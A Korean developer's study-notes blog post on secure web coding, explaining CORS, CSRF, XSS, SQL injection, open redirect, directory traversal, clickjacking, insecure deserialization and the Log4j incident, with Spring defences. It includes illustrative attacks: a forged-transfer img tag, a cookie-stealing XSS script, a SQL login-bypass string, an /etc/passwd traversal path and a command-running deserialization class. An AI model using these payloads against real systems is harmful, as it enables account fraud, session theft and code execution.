[TIL] 시큐어 코딩

김건우·2024년 8월 13일

[TIL]

목록 보기
14/25

이미지 출처 : https://www.invicti.com/blog/web-security/secure-coding-practices-web-applications/

이번엔 여러 보안 관련 시큐어 코딩 정리를 하려고 한다.
이번에 정처기를 준비하면서 대부분 봤던 개념들인데, 정확히 어떤건지 어떻게 예방하는지를 정리하고자 한다.


CORS (Cross-Origin Resource Sharing)

가장 많이 접하는 문제가 아닐까 싶다.

  • 한 출처(도메인, 프로토콜, 포트) 에서 실행 중인 웹 애플리케이션이 다른 출처의 리소스에 접근할 수 있도록 브라우저에서 제공하는 보안 기능이다.
  • 웹은 기본적으로 Same-Origin Policy에 따라 동작하며, 보안상의 이유로 다른 출처의 리소스 접근을 제한한다. CORS는 이런 제한을 완화해 다른 출처의 리소스 접근을 허용할 수 있다.

Same-Origin Policy

  • 웹 브라우저가 스크립트가 로드된 출처(origin)와 동일한 출처의 리소스만 접근할 수 있도록 제한한다.
  • 스키마(프로토콜), 호스트(도메인), 포트의 조합으로 정의된다.
    - http://example.com:80와 http://example.com:8080은 포트가 다르기에 동일 출처가 아님

동작원리

  1. 브라우저가 Preflight 요청을 보낸다.
    • OPTIONS 메서드를 통해 서버에 사전 요청을 보낸다.
    • 실제 요청의 메서드와 헤더 정보가 포함된다.
  2. 서버가 Prefilght 요청에 응답한다.
    • 서버는 요청된 메서드와 헤더를 허용할지 여부를 결정하여 응답한다.
    • 응답 헤더에는 Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Headers 등이 포함된다.
  3. 브라우저가 응답을 확인한다.
    • 응답을 확인해 요청이 허용되면 실제 요청을 보낸다
    • 허용되지 않으면, 실제 요청을 차단한다.

Preflight 란?

  • CROS 요청의 일종으로, 브라우저가 실제 요청을 보내기 전에 서버에 요청할 권한이 있는지 확인하는 과정이다.
  • 보안상의 이유로, 특정 조건을 만족하는 HTTP 요청이 서버에 전송되기 전에 실행된다.
    - HHTP 메서드가 단순 요청이 아닌 경우 (PUT, DELETE)
    • 특정 헤더를 사용할 때 : 커스텀 헤더 또는 특정 표준 헤더
    • 특정 Content-Type을 사용할 때 : application/x-www-from-urlencoded, multipart/form-data, text/plain이 아닌 Content-Type을 사용할 때

주의 사항

  • allowedOrigins 에 와일드카드(*)를 사용하면 모든 출처에서 요청을 허용하기에 주의
  • 민감한 정보를 보호하기 위해 Access-Control-Allow-Credentials를 신중하게 설정
  • Preflight 요청이 빈번하면 성능 저하가 발생할 수 있으므로, Access-Control-Max-Age를 설정하여 Preflight 요청을 캐싱.
    - 제일 많이 사용하는 application/json도 포함이 안되어 있기에 예상치 못하게 통신을 2번 하는 경우가 많아질 수 있다.

해결법

@Configuration
public class WebConfig {

    @Bean
    public WebMvcConfigurer corsConfigurer() {
        return new WebMvcConfigurer() {
            @Override
            public void addCorsMappings(CorsRegistry registry) {
                registry.addMapping("/**")
                        .allowedOrigins("http://localhost:3000")  // 허용할 출처
                        .allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
                        .allowedHeaders("*")
                        .allowCredentials(true)
                        .maxAge(3600);  // Preflight 요청 캐시 시간
            }
        };
    }
}

allowCredentials(true) 로 설정한다면 allowedOrigins 에 와일드카드 사용은 불가능하기에 frontend와 잘 협의해서 설정해주면 크게 문제는 안될 것 같다.
allowedMethods 에 OPTIONS 메서드도 허용해주는 것을 잊지말자.


CSRF (Cross-Site Request Forgery)

  • 웹 애플리케이션의 취약점을 이용해 사용자가 의도하지 않은 요청을 보내도록 하는 공격 기법이다. 공격자는 사용자가 인증된 상태를 악용해 사용자가 원하는 않는 행동을 수행하게 만든다.

상황

  1. 사용자 로그인 : 사용자가 로그인
  2. 세션 유지 : 로그인 후 세션 쿠키가 브라우저에 저장
  3. 악성 웹사이트 방문 : 사용자가 다른 웹사이트를 방문한다. 그 웹사이트는 CSRF 공격 코드를 포함하고 있다.
  4. 악의적인 요청 전송 : 악성 웹사이트는 사용자의 세션 쿠키를 이요해 원본 웹 애플리케이션으로 요청을 보낸다.
  5. 서버 처리 : 서버는 요청을 정상적인 사용자의 요청으로 인식하고 처리한다.

예시

<!DOCTYPE html>
<html>
<body>
  <h1>Free Gift</h1>
  <img src="http://bank.com/transfer?amount=1000&to=attacker" style="display:none;" />
</body>
</html>
  • 사용자가 이 페이지를 방문한다면 이미지 태그를 통해 해당 요청이 자동으로 실행된다. 사용자가 이미 bank.com에 로그인 되어 있다면, 이 요청은 인증된 상태로 처리된다.

방지 방법

  1. Referer 헤더 검증
    • 서버가 요청의 Referer 헤더를 확인해 요청이 신뢰할 수 있는 출처에서 온 것인지 확인할 수 있다. 그러나, Referer 헤더는 조작할 수 있고, 일부 브라우저에서 포함하지 않을 수도 있다.
  2. CSRF 토큰 사용
    • 가장 일반적인 방법. 서버는 각 요청에 대해 고유한 토큰을 생성하고, 이를 폼에 포함시킨다. 서버는 요청이 들어올 때 이 토큰을 검증한다.
  3. from 대신 API 사용
    • API를 통해 JSON 데이터로 Restful 하게 통신한다면 해당 이슈를 피할 수 있음.

XSS (Cross-Site Scripting)

  • 웹 애플리케이션의 취약점을 이용해 악성 스크립트를 다른 사용자의 브라우저에서 실행시키는 공격. 이를 통해 공격자는 사용자의 세션을 가로채거나, 악성 코드 실행, 웹사이트 변조 등의 공격을 수행할 수 있다.

공격 유형

  1. 반사형 XSS (Reflected XSS)
    • 사용자가 입력한 데이터가 즉시 웹 페이지에 반영되어 발생하는 공격이다. 보통 URL에 포함된 악성 스크립트를 통해 이루어진다.
    • 예로 사용자가 http://example.com/search?q=<script>alert(document.cookie)</script> 같은 URL을 입력해 검색어를 그대로 페이지에 출력하면, 스크립트가 실행되어 경고 창에 쿠키가 노출 될 수 있다.
    <script>document.location='http://127.0.0.1/cookie?'+document.cookie</script>
    이처럼 해당 쿠키를 리다이렉트를 통해 공격자의 사이트로 전달해서 탈취가 가능하다.
  2. 저장형 XSS (Stored XSS)
    • 악성 스크립트가 서버에 저장되어 여러 사용자가 해당 스크립트를 실행하게 되는 경우이다.
    • 예로 게시판에 악성 스크립트를 포함한 글을 작성하면, 해당 글을 보는 모든 사용자의 브라우저에서 스크립트가 실행된다.
  3. DOM 기반 XSS (DOM-based XSS)
    • 클라이언트 측에서 JavaScript를 통해 DOM을 동적으로 조작할 때 발생한다. 서버에 요청을 보내지 않고, 클라이언트 측에서 스크립트가 실행된다.
    <!DOCTYPE html>
    <html>
    <head>
        <title>DOM-based XSS Example</title>
    </head>
    <body>
        <h1>Welcome to My Page</h1>
        <div id="output"></div>
        <script>
            // URL의 해시 부분을 읽어와서 출력
            var hash = window.location.hash.substring(1);
            document.getElementById('output').innerHTML = hash;
        </script>
    </body>
    </html>
    이 부분은 프론트 측면이라 정확히 이해하진 못했다.

XSS 공격의 위험성

  • 세션 하이재킹
  • 악성 코드 실행
  • 피싱
  • 웹사이트 변조

방어 기법

  • 입력 검증 및 인코딩
  • Content Security Policy (CSP)
    • 웹 애플리케이션이 로드할 수 있는 리소스의 출처를 정의하는 HTTP 응답 헤더로, 이를 통해 개발자는 특정 스크립트, 스타일시트, 이미지 등을 로드할 수 있는 출처를 제한할 수 있다. (CORS 같은 기능)
  • HTTPOnly 쿠키 사용
  • JavaScript 안전하게 사용하기

서버단에서도 스크립트 관련된 코드가 들어온다면 처리해주는 기능이 필요할지도..


SQL Injection

  • 공격자가 데이터베이스 쿼리에 악의적인 SQL 코드를 삽입해 데이터 베이스를 조작하거나 민감한 정보를 탈취하는 공격이다.

위험성

  • 데이터 탈취: 공격자가 데이터베이스에서 민감한 정보를 탈취할 수 있다.
  • 데이터 변조: 데이터베이스의 데이터를 변경하거나 삭제할 수 있다.
  • 권한 상승: 공격자가 데이터베이스 관리자 권한을 얻을 수 있다.
  • 전체 시스템 장악: 심각한 경우 서버 전체를 장악할 수 있다.

예시

public class SqlInjectionExample {
    public static void main(String[] args) {
        String username = "admin'; --";
        String password = "password";
        String query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'";

        try (Connection conn = DriverManager.getConnection("jdbc:mysql://localhost:3306/testdb", "root", "password");
             Statement stmt = conn.createStatement();
             ResultSet rs = stmt.executeQuery(query)) {

            if (rs.next()) {
                System.out.println("User authenticated");
            } else {
                System.out.println("Authentication failed");
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

admin'; -- 이라는게 쿼리 안으로 들어가게 되면, SELECT * FROM users WHERE username = 'admin'; --' AND password = 'password' 로 변경되는데, 이때 -- 뒤에 나오는 쿼리문은 주석처리되어 버리기 때문에 무시된다. 결과적으로 비밀번호를 입력하지 않아도 인증이 되는 꼴이다.

방어 기법

  • Prepared Statements (준비된 문): SQL 쿼리를 미리 컴파일하여 파라미터화된 쿼리를 사용
  • Stored Procedures (저장 프로시저): 데이터베이스에서 미리 정의된 저장 프로시저를 호출하여 실행
  • ORM (객체 관계 매핑): Hibernate 같은 ORM 프레임워크를 사용하여 데이터베이스 접근을 추상화
    - Hibernate와 같은 ORM 프레임워크를 사용할 경우, 내부적으로 Prepared Statement를 사용하여 SQL Injection 공격을 방지한다.
  • 입력 검증 및 인코딩: 사용자 입력을 철저히 검증하고 인코딩하여 SQL 쿼리에 직접 포함시키지 않는다.
  • 최소 권한 원칙: 데이터베이스 사용자에게 최소한의 권한만 부여한다.

Open Redirect

  • 공격자가 웹 애플리케이션의 리디렉션 기능을 악용하여 사용자를 악성 사이트로 유도하는 공격이다.

말 그대로 redirect-url을 조작해서 유사하게 생긴 페이지로 이동시켜 정보를 유출하도록 유도하는 것이다.

방어 기법

  1. 허용된 URL 목록 사용

    public class RedirectHandler {
        private static final List<String> ALLOWED_URLS = Arrays.asList(
                "http://bank.example.com/dashboard",
                "http://bank.example.com/account",
                "http://bank.example.com/support"
        );
    
        public void handleRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
            String redirectUrl = request.getParameter("redirectUrl");
            if (ALLOWED_URLS.contains(redirectUrl)) {
                response.sendRedirect(redirectUrl);
            } else {
                response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid URL");
            }
        }
    }
  2. 입력 검증

    public void handleRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String redirectUrl = request.getParameter("redirectUrl");
        try {
            URL url = new URL(redirectUrl);
            if ("bank.example.com".equals(url.getHost())) {
                response.sendRedirect(redirectUrl);
            } else {
                response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid URL");
            }
        } catch (MalformedURLException e) {
            response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Malformed URL");
        }
    }
  3. 상대 경로 사용

    public void handleRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String redirectPath = request.getParameter("redirectPath");
        if (redirectPath != null && redirectPath.startsWith("/")) {
            response.sendRedirect(request.getContextPath() + redirectPath);
        } else {
            response.sendError(HttpServletResponse.SC_BAD_REQUEST, "Invalid path");
        }
    }

Directory Traversal

  • 공격자가 웹 애플리케이션의 파일 시스템에서 허용되지 않은 파일이나 디렉토리에 접근할 수 있도록 하는 공격이다. 주로 파일 경로를 사용자 입력을 통해 받아서 처리할 때 발생한다.

http://example.com/download?file=report.pdf 처럼 url을 통해 파일을 다운받으려 할 때 http://example.com/download?file=../../etc/passwd 상대 경로를 이용해서 파일 시스템에 접근하려는 공격 방법 이다.

방어 기법

  • 서버 설정 강화 : 웹 서버 설정을 통해 허용되지 않은 디렉토리 접근 차단
  • 경로 검증 : 파일 경로를 검증해 허용된 디렉토리 안에서만 파일을 접근하도록 함.
  • 허용된 파일 목록 사용 : 허용된 파일 목록을 미리 정의하고, 해당 목록에 포함된 파일만 접근하도록 한다.

Clickjacking

  • 공격자가 웹 페이지에 투명한 프레임을 사용해 사용자가 클릭하도록 유도하는 공격. 이를 통해 공격자는 사용자가 알지 못하는 사이에 악성 동작을 수행할 수 있다.

예시

<!DOCTYPE html>
<html>
<head>
    <title>Free Gift!</title>
    <style>
        iframe {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            opacity: 0;
        }
    </style>
</head>
<body>
    <h1>Click here to get a free gift!</h1>
    <iframe src="http://social.example.com/like-button"></iframe>
</body>
</html>

공격자가 다음과 같은 투명한 iframe을 사용자가 신뢰하는 사이트에 삽입한다.

방어 기법

  • X-Frame-Options 헤더 사용 : DENY 또는 SAMEORIGIN 값을 사용해 웹 페이지가 iframe으로 포함되지 않도록 설정한다

    • 등록 예시
      @Configuration
      public class FilterConfig {
    
          @Bean
          public FilterRegistrationBean<ClickjackingProtectionFilter> clickjackingFilter() {
              FilterRegistrationBean<ClickjackingProtectionFilter> registrationBean = new FilterRegistrationBean<>();
              registrationBean.setFilter(new ClickjackingProtectionFilter());
              registrationBean.addUrlPatterns("/*");
              return registrationBean;
          }
      }
  • Content Security Policy (CSP) : CSP 헤더를 사용해 iframe의 포함을 제한한다.

    @Configuration
    @EnableWebSecurity
    public class SecurityConfig extends WebSecurityConfigurerAdapter {

        @Override
        protected void configure(HttpSecurity http) throws Exception {
            http
                .headers()
                .contentSecurityPolicy("frame-ancestors 'self'")
                .and()
                .frameOptions().deny(); // 또는 .sameOrigin();
        }
    }

Senstive Data Exposure

  • 애플리케이션이 데이터를 충분히 보호하지 않아 공격자가 이를 탈취하는 공격이다. 우리가 데이터베이스에 비밀번호 같은 민감한 데이터를 저장할 때 암호화 하지 않고 넣는 경우를 의미한다.

이 경우는 데이터베이스가 털린다면 민감한 정보가 모두 평문으로 이루어져 있기 때문에 탈취당했을 때 피해가 막심해진다.

방어 기법

  • 데이터 암호화 : 전송 중인 데이터와 저장된 데이터를 암호화 한다.
  • 강력한 암호 정책 : 강력한 암호 정책을 적용하고, 주기적으로 암호를 변경하도록 권장한다.
  • HTTPS 사용 : 민감한 데이터를 전송할 때 HTTPS를 사용해 데이터를 암호화 한다.
  • 접근 제어 : 민감한 데이터에 대한 접근을 최소한으로 제한한다.

Insecure Deserialization

  • 공격자가 악의적으로 조작된 객체를 애플리케이션에 전달해 실행시키는 공격이다. 시스템 내에서 임의의 코드를 실행하거나 데이터를 조작할 수 있다.
  • 직렬화된 데이터를 역직렬화할 때, 해당 데이터가 신뢰할 수 있는지 검증하지 않으면 공격자가 악의적으로 조작된 직렬화 데이터를 주입할 수 있다.

예시

public class MaliciousObject implements Serializable {
    private static final long serialVersionUID = 1L;

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ois.defaultReadObject();
        // 악의적인 코드 실행
        Runtime.getRuntime().exec("calc.exe");
    }
}

// 직렬화
public class SerializeMaliciousObject {
    public static void main(String[] args) {
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("malicious.obj"))) {
            oos.writeObject(new MaliciousObject());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

다음처럼 악의적인 코드가 담긴 데이터를 직렬화하여 업로드하면 사이트는 파일을 역직렬화 할때 악성 코드가 실행되어 시스템이 위험해질 수 있다.

방어 기법

  • 데이터 검증 : 역직렬화된 객체가 예상된 타입인지 검증해, 신뢰할 수 없는 객체를 역직렬화 하지 않도록 한다.
  • 안전한 라이브러리 사용 : Java의 기본 직렬화 대신, 안전한 직렬화 라이브러리를 사용해 역직렬화 과정에서 보안을 강화할 수 있다. 예로 Jackson 라이브러리로 JSON 데이터를 역/직렬화 할 수 있다.

Insufficient Loggin & Monitoring

  • 애플리케이션이 적절한 로그를 기록하지 않거나, 이상 행동을 감시하지 않아 공격을 조기에 발견하지 못하는 경우이다.

방어 기법

  • 포괄적인 로깅 : 중요한 이벤트와 에러를 포괄적으로 로그로 기록한다.
  • 실시간 모니터링 : 실시간 모니터링 시스템을 사용해 이상 해동을 감지한다.
  • 로그 검토 : 주기적으로 로그를 검토하여 이상 징후를 발견하고 대응한다.

CVE, CVSS

  • CVE (Common Vulnerabilities and Exposures)는 특정 소프트웨어 및 하드웨어의 취약점을 고유하게 식별하기 위해 사용되는 표준화된 명명 시스템입니다.
  • 각 CVE 항목은 고유한 CVE ID를 부여받으며, 이는 해당 취약점을 참조할 때 일관된 명칭을 제공하여 커뮤니케이션을 용이하게 합니다.
  • CVE 프로그램은 MITRE에 의해 관리되며, 미국 국토안보부(DHS)와 사이버 보안 및 인프라 보안국(CISA)의 후원을 받고 있습니다.
  • CVE (Common Vulnerabilities and Exposures)는 취약점의 심각성을 정량적으로 측정하기 위한 방법론입니다.
  • CVSS 점수는 0에서 10까지의 범위로, 낮은 점수는 덜 심각한 취약점을, 높은 점수는 매우 심각한 취약점을 나타냅니다.

Log4j 취약점 사태

https://nvd.nist.gov/vuln/detail/CVE-2021-44228

Log4j 2 라이브러리에서 발견된 심각한 보안 취약점 사태이다.

해커가 로그가 기로되는 곳을 찾아 취약점을 이용하는 문제였다.

CVSS 10점으로 가장 높은 점수를 받을 만큼 Java 기반의 웹 어플리케이션을 사용하는 Log 라이브러리 중 가장 많이 쓰이는 라이브러리였기에 취약점이 공개된 후, 많은 공격자들이 악용해 많은 공격을 시도했다.

Apache Software Foundation은 취약점을 해결하기 위해 Log4j 패치와 보안 업데이트를 즉시 저용해 배포했다.

예방 조치

  • 최신 버전 사용
  • 모니터링 및 탐지
  • 보안 인식 교육

마무리

보안에 대해 생각해줘야 할 내용들은 위 내용말고도 엄청나게 많이 존재한다.

그래도 조금이라도 더 알고 있음으로써 Secure 한 사고방식으로 코딩할 수 있을 것 같다.

당장 Oauth2 기능을 구현함에 있어서도 redirect-url에 대한 처리를 해줘야 할 것 같고, XSS, 특수문자 같은 우회 패턴을 발생 시킬 수 있는 문자를 필터링처리 해야 할 것 같다.

또한 JWT 토큰 탈취에 있어서도 생각해줄 부분이 많은 것 같다.

실제 배포후 운영할 프로젝트를 개발하고 있기에 이번 Secure Coding에 대해 알게되어서 좀 더 고려해주면서 로직을 처리할 수 있을 것 같다.

profile
공부 정리용

0개의 댓글